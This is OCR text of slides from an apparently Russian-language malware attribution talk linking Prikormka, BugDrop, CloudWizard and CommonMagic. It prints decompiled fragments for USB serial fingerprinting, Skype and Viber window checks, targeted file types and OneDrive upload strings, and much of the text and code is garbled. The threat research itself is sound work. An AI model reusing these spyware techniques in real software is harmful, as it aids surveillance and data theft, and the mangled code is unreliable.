» [TLP:WHITE] win_prikormka_auto X
(20190620 | autogenerated rule Detection: Win64/Prikormka.BF trojan
brought to you by yara-signator) (es[y
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HNaHHble ESET 56

el 776455581d2a2c5c042878b24c2603b820b1a85f

56.00 KB 2022-05-17 05:09:37 UTC %L
8d03150428573979c86d3072

Size 1 year ago EXE
WinBnSvc.exe

peexe
Community Score

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label (D trojan.prikormka Threat categories trojan Family labels prikormka

Security vendors' analysis (1) Do you want to automate checks?

Elastic @ Malicious (moderate Confidence) ESET-NOD32 @ Win32/Prikormka.CQ

Rising (D) Trojan.Prikormkal8.4741 (CLOUD) Zillya (1) Trojan.Prikormka.Win32.134
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Koa B USB mopaynsx

BugDrop

LpOutBuffer = operator new(nOutBufferSize);
if ( 'DeviceloControl(
FileW,
I0CTL_STORAGE QUERY_PROPERTY,
&InBuffer,
0xCu,
1pOutBuffer,
nOutBufferSize_1,
&BytesReturned,
0) )
L,
j__free(lpOutBuffer);
goto LABEL_5;

}

*v26 = lpOutBuffer->BusType;

SerialNumber0ffset = lpOutBuffer->SerialNumberOffset;
if ( SerialMumberOffset )

n_32_ = *(&lpOutBuffer->Version + SerialNumberOffset + v10);
if ( n 32 '= ' ' && isprint(n 32 ) )
{
v12 = *(&lpOutBuffer->Version + v10 + LpOutBuffer->SerialNumberOffset);

v13 = v26;
v26 = (v26 + 1);
arg_serialNumber_1[v13] = v12;

}
SerialNumber0Offset = lpOutBuffer->SerialNumberOffset;
v10 = ++v0;

while ( *(&lpOutBuffer->Version + SeriallumberOffset + v9) );

+

ProductIdoffset = 1pOutBuffer->ProductId0ffset;
if ( ProductIdOffset )

{
_—

vl5 =

if ( *(&lpOutBuffer->Version + ProductId0ffset) )
{

vle = 0;

CloudW,izard

1pOutBuffer = new(nOutBufferSize 1);
if ( DeviceIoControl(
hDevice,
TOCTL_STORAGE_QUERY_PROPERTY,
&InBuffer,

0xCu,
1pOutBuffer,
nOutBufferSize,
&BytesReturned,
0) )

*al = 1pOutBuffer->BusType;
ialNumber0ffset = lpOutBuffer->SerialNumber0ffset;
if ( SerialNumberOffset )

&lpOutBuffer->Version + SerialNumberOffset) )

n_32_ = *(&lpOutBuffer->Version + SerialNumberOffset + i_1);
if ( n_32_ !'= ' ' & isprint(n_32_) )

v13 V20++;

serialNumber[v13] = *(&LpOutBuffer->Version + i 1 + 1pOutBuffer->SerialNumber0ffset

}
SerialNumberOffset = LpOutBuffer->SerialNumberOffset;
i1 = ++vd;

while ( *(&lpOutBuffer->Version + SerialNumberOffset + v4) );
vd = 0;
}
}
ProductIdOffset = 1pOutBuffer->ProductIdOffset;
if ( ProductIdOffset )
{
if ( *(&LpOutBuffer->Version + ProductId0ffset) )
vi5 = 0;

do
{

if ( isprint(*(&lpOutBuffer->Version + ProductIdOffset 4 v15))
productID[vl5] = *(&LpOutBuffer->Version + v15 + lpOutBuffer->ProductIdOffset);

ProductIdoffset = 1pOutBuffer->ProductId0ffset;
v15 = ++vd;

57
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Koa B USB mopaynsx

BugDrop

}
if ( v7 == 1 & sub_10001A00(v3, v18) )

driveNumber_1 = getPhysicalDriveNumberFromDisk(&n 32 );
if ( driveNumber_1 )

{

getMetaData(driveNumber 1, &driveType, serialNumber,

if ( lstrlenW(serialNumber) <= 0 )
{
v9 = lstrlenW(undef);
memmove 0(serialNumber, undef, 2 * v9);
}
if ( lstrlenW(arg productID) <= 0 )
{
v10 = lstrlenW(undef);
memmove O(arg productID, undef, 2 * v10);

}

58
CloudW,izard
goto LABEL 22;
if ( totalNumberOfBytes >= 0x11E1A300 )
goto LABEL_22;
driveNumber 1 = getPhysicalDriveNumberFromDisk(&pathToDrive);
if ( !'driveNumber_1 )
goto LABEL_22;
getMetaData(driveNumber 1, &driveType, serialNumber, productID);
if ( lstrlenW(serialNumber) <= 6 )
ve = lstrlenW(undef);
memmove (serialNumber, undef, 2 * v6);
if ( LlstrlenW(productID) <= 0 )
v7 = lstrlenW(undef);
memmove (productID, undef, 2 * v7);
FORUM
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Kop B ckpuHwoTepe 59

Prikormka CloudWizard

std wstring::assign(&vindowNames bhegin, L"SKYPE");

v = 0;
bool _ usercall isS i;d;wi?r1ng::a551gn(&v1her_wstr1ng, L"VIBER");
{ ’

WCHAR String[260]; //

memset(String, 0, sizeof(String));
GetWindowTextW(hWnd, String, 260);

return wcsstr(String, L"Skype") || wecsstr(String, L"Viber");
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JINCTUHIrM gUPEKTOPUIA 60

Prikormka CloudWizard

memset(aZ, O, 0x208u);
FileTimeToSystemTime(& WIN32 FIND DATAW->ftLastWriteTime

wsprintfi(
az,
E:E;g:;?igj:?; IIE“I‘:J;\ LU\t\t\t\t\t(%2.2u,%2.2u.%2.2u.%2.2u)\n",
FileTimeTuSystemTime{&ilL.ftLééfWritETime, &:ySLEMi¢mE);
wsprintf(
Buffer_1,

L" (%2.2u,%2.2u.%2.2u.%2.2u)\n",
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MopsaaoK pacumpeHnia

Prikormka

DOC DOCX XLS
XLSX PPT PPTX
ZIP RAR DB

BB TXT

61

CloudW,izard

DOC DOCX XLS
XLSX PPT PPTX
ZIP RAR DB

TXT
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A TaKxe: 62

1 Cxoxme nvieHa dainnos

dd.mm.yy_hh.mm.ss.<ext> dd.mm.yyyy_hh.mm.ss.ms.dat

2 | C&C cepBepbl xocTarca UA-
npoBanaepamn

3 | CxXoxxas BUKTUMONOrg KamMmnaHmn
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CloudWizard un CommonMagic 63

db 'refresh_token',0

db 0
db 0
db 'uploadUrl’',0
db 0

" e IDEeHTYHBbIN KO,

'graph.microsoft.com',0
text "UTF-16LE", '/vl1.0/drive/root:/',0 v
db 0
® o B3alMMOo4enNCTBUNSA
text "UTF-16LE", 'Authorization: ',0

text "UTF-16LE", 'bearer ',0

| |
text "UTF-16LE", ':/children?select=name,size C O I Ie D r I Ve

text "UTF-16LE", ':/content',0

text "UTF-16LE", "api.onedrive.com',0
db 0

db 0

text "UTF-16LE", 'PUT",0
db 'replace’',0
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CloudWizard n CommonMagic 64

OomHakoBast MoandrKaumsg bnbnnoTeku
RC5Simple:

#define RC5 SIMPLE_SIGNATURE "RC5SIMP" // Strong 7 bytes
// For detect 32 or 64 architecture 3arorosokK LLII/ICprTeKCTa
// In *NIX GCC this definition is present.

// In Windows 1s uncertain.
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CloudWizard un CommonMagic 65

OomHakoBast MoandrKaumsg bnbnnoTeku
RC5Simple:

#define RC5 SIMPLE_SIGNATURE "RC5SIMP" // Strong 7 bytes

« » '
// For detect 32 or 64 architect DUREX45» B CloudWizard
// In *NIX GCC this definition is present.

// In Windows 1s uncertain.
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CloudWizard un CommonMagic 66

OomHakoBast MoandrKaumsg bnbnnoTeku
RC5Simple:

#define RC5 SIMPLE_SIGNATURE ["RC5SIMP" |// Strong 7 bytes

« » '
// For detect 32 or 64 architect HWO7X8p BCommonMaglc
// In *NIX GCC this definition is present.

// In Windows 1s uncertain.
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CloudWizard un CommonMagic 67

Cxoxune ID »xepTB

CloudWizard A CommonMagic

03072020DD WorkObj20220729FF
05082020BB
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CloudWizard un CommonMagic 68

CxoxXune nmeHa pannios

CloudWizard A CommonMagic

dd.mm.yyyy_hh.mm.ss.ms.dat yyyy.mm.dd_hh.mm.ss.ms.dat
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Ceasn MeXXAYy KaMnaHnsgavn 69

Prikormka BugDrop

CloudWizard

CommonMagic
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TanmvinaiH

2008

PRIKORMKA

2020

CLOUDWIZARD v5

2016

OT1yeT ESET

2021

POWERMAGIC

70

2016 2017

BUGDROP CLOUDWIZARD v4

2022

COMMONMAGIC
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